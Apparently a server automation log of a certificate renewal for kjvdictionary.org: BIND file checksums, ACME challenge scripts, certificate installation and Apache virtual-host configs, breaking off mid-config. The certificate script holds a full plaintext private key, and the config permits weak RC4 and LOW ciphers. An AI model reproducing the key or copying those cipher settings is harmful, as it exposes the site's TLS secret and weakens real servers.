MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-04 06:00:01: Establishing a connection
2026-06-04 06:00:01: Establishing a connection
2026-06-04 06:00:02: 

PUT: /tmp/pkp143571

#!/bin/bash
if [ -d "/var/www/kjvdictionary_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-04 06:00:03: 

chmod 755 /tmp/pkp143571; /tmp/pkp143571; rm /tmp/pkp143571

2026-06-04 06:00:03: 


1


2026-06-04 06:00:05: Establishing a connection
2026-06-04 06:00:06: 

PUT: /tmp/pkp812253

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cat > 5rjy2U6ldcZ1yL6us1IrS3FO_xXZBe1lRr8WJl7SFHU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5rjy2U6ldcZ1yL6us1IrS3FO_xXZBe1lRr8WJl7SFHU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5rjy2U6ldcZ1yL6us1IrS3FO_xXZBe1lRr8WJl7SFHU
cat > xvG9NgEBUQizWay-9C4F-qzYVDe8UnWB7puX30FxpX4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xvG9NgEBUQizWay-9C4F-qzYVDe8UnWB7puX30FxpX4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xvG9NgEBUQizWay-9C4F-qzYVDe8UnWB7puX30FxpX4


2026-06-04 06:00:06: 

chmod 755 /tmp/pkp812253; /tmp/pkp812253; rm /tmp/pkp812253

2026-06-04 06:00:06: 




2026-06-04 06:00:14: Establishing a connection
2026-06-04 06:00:15: 

PUT: /tmp/pkp580415

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
rm 5rjy2U6ldcZ1yL6us1IrS3FO_xXZBe1lRr8WJl7SFHU
rm xvG9NgEBUQizWay-9C4F-qzYVDe8UnWB7puX30FxpX4


2026-06-04 06:00:15: 

chmod 755 /tmp/pkp580415; /tmp/pkp580415; rm /tmp/pkp580415

2026-06-04 06:00:15: 




2026-06-04 06:00:15: Establishing a connection
2026-06-04 06:00:15: 

PUT: /tmp/pkp778227

#!/bin/bash
temp_file=$(mktemp)
TARGET=00f32caf8ea0fbe0d1b245ad2ff4822f.crt

cat > $temp_file <<'endmsg'
3b:a4:c5:af:4d:1f:b2:d2:bf:c6:5c:2c:fc:a0:0a:23

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBvDwmC9OhUPOIfqbqTwuc8uuMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjA0MDUwMTQzWhcNMjYwOTAyMDUwMTQyWjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJzzvWjFUW6SENGqBGtXpwZSYFTAuX1i2fmtiDOElhzEIpz7RkrwKEUiVPej
yMkGeU0NFdjZy38xunffmQhC59yOai+g756uNkjd5i2xFxHlj5Bk+qO7VH4Z0BW7
diSCkQJlKBsS96KMcBHczbsAFrbtuIFYWuE1uUgcm6LqAQ6jpviqzyEN5RQCbNJL
AGBoCNaeDpXAyCUTjtzRofFHkzE26Q7Ktny+z/tPCvqFSOHspuQJ4wwDF5hYDq8x
fBCGtp8ntyxE97DWovTFeQt2k357vrAchWetULmeM0kgkdDFgF0ZtiXBXndz9nS2
qsUOo9vvxA8M3xmFra8Hxb2In40CAwEAAaOCAjQwggIwMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT8
tkuad3eULwN7gvsl6gulMdVNYTAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj6
99Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWtqdmRpY3Rpb25hcnkub3JnghV3d3cua2p2
ZGljdGlvbmFyeS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy80Ny5jcmwwggEKBgorBgEEAdZ5
AgQCBIH7BIH4APYAdQDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAA
AZ6RN8ylAAAEAwBGMEQCIDkM88LN7JqEahzdOQr54tZqPMIrT13Q7ZaifshHYNIg
AiAc+uy4Fozj86CsazspPYnL1R18BApcDzZ3C45hOSP3ZgB9AGz+UBlDqF6pFrxS
0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnpE3znkACAAABQAO1cTaBAMARjBEAiB6
/dj8AKAmn1JriFvylQUqO0TOUF+nPR0LWiy3gob5xQIgRHQiTeKYplMTYsrU4lJP
lR9HXX6FFLNwNjw1prZNE+kwDQYJKoZIhvcNAQELBQADggEBAC2tbQVryXWGJBJX
+ihdtDpwlRq50TGtjsHVs5njZCQ7fTKoA2OfFsxwLEHm3G7MKljEAS2UuDl53pVo
sNu+RDi64QPmrfijBLTTdCj1A/8a339jlzfTurtSMn/r99ObCeOWvv5Vp1gjImsb
GUjuqFvSuyW0pdIeJXYuH8GaVtlNwlAiH+Gx8dszLV+06Kos/2pXdlfb9Y1SqQw+
5CD3loTh2sW327UOyQ3x3a7UTN0+23iaBMuWyJQSDoPibzUKN/9KExXBK9/0dhzq
EZSyVBxWQqOm4jBCBSliSWDTon7AVUblsX/dJjLXw3zk8o//F89wGaBrnY2NHMML
+N96acY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCc871oxVFukhDR
qgRrV6cGUmBUwLl9Ytn5rYgzhJYcxCKc+0ZK8ChFIlT3o8jJBnlNDRXY2ct/Mbp3
35kIQufcjmovoO+erjZI3eYtsRcR5Y+QZPqju1R+GdAVu3YkgpECZSgbEveijHAR
3M27ABa27biBWFrhNblIHJui6gEOo6b4qs8hDeUUAmzSSwBgaAjWng6VwMglE47c
0aHxR5MxNukOyrZ8vs/7Twr6hUjh7KbkCeMMAxeYWA6vMXwQhrafJ7csRPew1qL0
xXkLdpN+e76wHIVnrVC5njNJIJHQxYBdGbYlwV53c/Z0tqrFDqPb78QPDN8Zha2v
B8W9iJ+NAgMBAAECggEAB5nHJ6p8k8/3iAvFfIRJZqU5HImbwf52Q2DbunD2iwyV
h4gkoo7oSFbOChMQr2mEmM5kKzT65Z09JD58DPoee+AatNVEnWje4J78XWSY0ylM
j0fQmnrBL/0khlTmdwSqrJTFATClNOY7rCXHAcISl4fCGmNyvTrKjvsxr01JQVHo
my5LOb/MSmoUVB1yectL2W61x8qk00x7AY81Njfhg60dbILOKRwxNaSs6puKbaZJ
dg0gIURYJYMWFNDTcwuHIx5pW/3O4ZnoIbklhAxITMN2AKhimmV1JJTeERrGlxS/
ITcNEmX2D6MkjMt71f1orRpiwUzid9RvLg8vu6KQqQKBgQDUM0APgv3oGcym0IU6
dEJEyZOBrFMJgi8RmNyN4Bk1PygeGa9Gup6Fu8k6vSvgNSdaUYhugMLIVL9TgZOR
bntvMzFHNOYUsd6vYWFBoZiqWcqSL198Cn3Bf9aGIGr8kyIESEkjOa9542rSS6g0
byUIYLrm39/neOuHsw7TNuYT+QKBgQC9WSgrepHFBXkLvlEwhH7YVs0wp6e7IdRP
7i0ycTONBvV6JPtHby1uqPTwtAvetTkKKRLp+dH92QDrGWDVkg4BvQYRPKpqnaCD
/XBq3CkZhDb9ggSVJe15Z1ALDS0RSjHV5rO210GrBKnN4KjwYPvX+gBs2Q7b3Mib
1NzAsP+lNQKBgHpDDSXi02hndQKoIhsL4SLBAbw1DaLs3zHEYU9dTyjeur6dDeAy
piNnjwnI9P65oXLohzMj/RZvvczfW6bvgS8Qz9O3JtnFoghqkx69fLiqA402vk05
vjs+7Nta0km0fGT7QSiKlBAmd+WysbeEUlIBaa6cTuWPRiVphaEsgGQBAoGBAJN+
3v63dNOfxsHyF7aOj2ygeSgcgVkRKhy1cPmpGroRoKjsI91qal6YOG1EIzbxviP/
CN/AHeb64m9AjqDvLAAIqbBFrI5uiTon8ykapN1ek6N4Y293Yvw+ESj6s4+TVyzD
kFyuY1X/xPI9vfu54JRGB4zCrINyAcb50pg7iHi9AoGAarHm8AOsRmXxqOAwxQbM
pN9UqDX1glV7bGzEYywOxqJVD2cMx+G550IIcaUiXTB2XMbNOQH9lN6uuGr7TpxL
kzcYLUqMQ5TrwqMi3DyHNyaJGvjHekTQzq7ZbgEAJtNApwAFvlFMAt8h5oqo2hbW
QrBqqWjl9Z5hJHROiNmoqNQ=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-04 06:00:15: 

chmod 755 /tmp/pkp778227; /tmp/pkp778227; rm /tmp/pkp778227

2026-06-04 06:00:15: 


dir=/etc/ssl/certs


2026-06-04 06:00:15: 

PUT: /tmp/pkp952656

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-04 06:00:15: 

chmod 755 /tmp/pkp952656; /tmp/pkp952656; rm /tmp/pkp952656

2026-06-04 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf 45

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-04 06:00:15: 

PUT: /tmp/pkp160577

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_www_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
